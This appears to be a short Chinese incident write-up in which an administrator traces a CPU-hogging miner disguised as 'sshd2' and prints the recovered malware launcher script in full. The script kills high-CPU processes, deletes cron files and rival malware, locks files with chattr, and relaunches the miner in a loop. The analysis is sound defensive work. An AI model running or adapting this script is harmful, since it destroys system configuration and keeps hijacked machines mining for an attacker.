遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高
仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户
ps -ef
查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄
在/proc/PID/fd里面顺利找到执行脚本
#!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin while [ 1 ] do p=$(ps auxf|grep -v grep|grep sshd2|wc -l) if [ ${p} -eq 0 ]; then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns pkill 6Tx3Wq rm -f /tmp/6Tx3Wq killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b killall -9 /tmp/.sysinfo/* rm -f /tmp/.sysinfo/* chattr +i /tmp/.sysinfo rm -f /var/spool/cron/root rm -f /var/spool/cron/backup.db rm -f /var/spool/cron/dump.rdb rm -f /var/spool/cron/jw rm -f /var/spool/cron/uo rm -f /var/spool/cron/vf rm -f /tmp/root rm -f /tmp/backup.db rm -f /tmp/dump.rdb rm -f /tmp/root rm -f /var/spool/cron/crontabs/root rm -f /var/spool/cron/crontabs/dump.rdb killall -9 kworkerds chattr -i /etc/cron.d/root chattr -i /etc/cron.d/apache chattr -i /etc/cron.d/0hourly rm -f /etc/cron.d/root rm -f /etc/cron.d/apache rm -f /etc/cron.d/0hourly rm -f /tmp/kworkerds rm -f /var/tmp/kworkerds rm -f /etc/cron.hourly/oanacroner rm -f /etc/cron.hourly/oanacrona rm -f /etc/cron.daily/oanacroner rm -f /etc/cron.daily/oanacrona rm -f /etc/cron.monthly/oanacroner rm -f /usr/local/bin/dns pkill .systemcero pkill vTtHH pkill -f /tmp/just4root pkill -f /tmp/just4copy pkill -f /tmp/dc_name pkill x7 pkill cloudupdate pkill diskmanagerd pkill curl pkill jspserv pkill init pkill sysupdate pkill sysguard pkill networkservice pkill watchbog rm -f /usr/share/watchbog/watchbog rm -f /bin/httpsntp rm -f /bin/ftpsntp rm -f /tmp/.systemcero rm -f /tmp/vTtHH rm -f /usr/bin/.systemcero rm -f /usr/bin/cloudupdate rm -f /usr/bin/diskmanagerd rm -f /lib/libterminfo.so rm -f /tmp/config.json rm -f /var/tmp/jspserv rm -f /etc/update.sh chattr -i /etc/sysupdate rm -f /etc/sysupdate rm -f /etc/config.json echo >/tmp/6Tx3Wq echo >/tmp/vTtHH chattr +i /tmp/6Tx3Wq chattr +i /tmp/vTtHH p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}') name=""$p if [ -z "$name" ] then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 nohup /tmp/javax/sshd2 &>>/dev/null & else : fi sleep 60 done
从脚本的删除动作来看,可能是通过redis的漏洞进来的,脚本似乎还想努力不让监控发现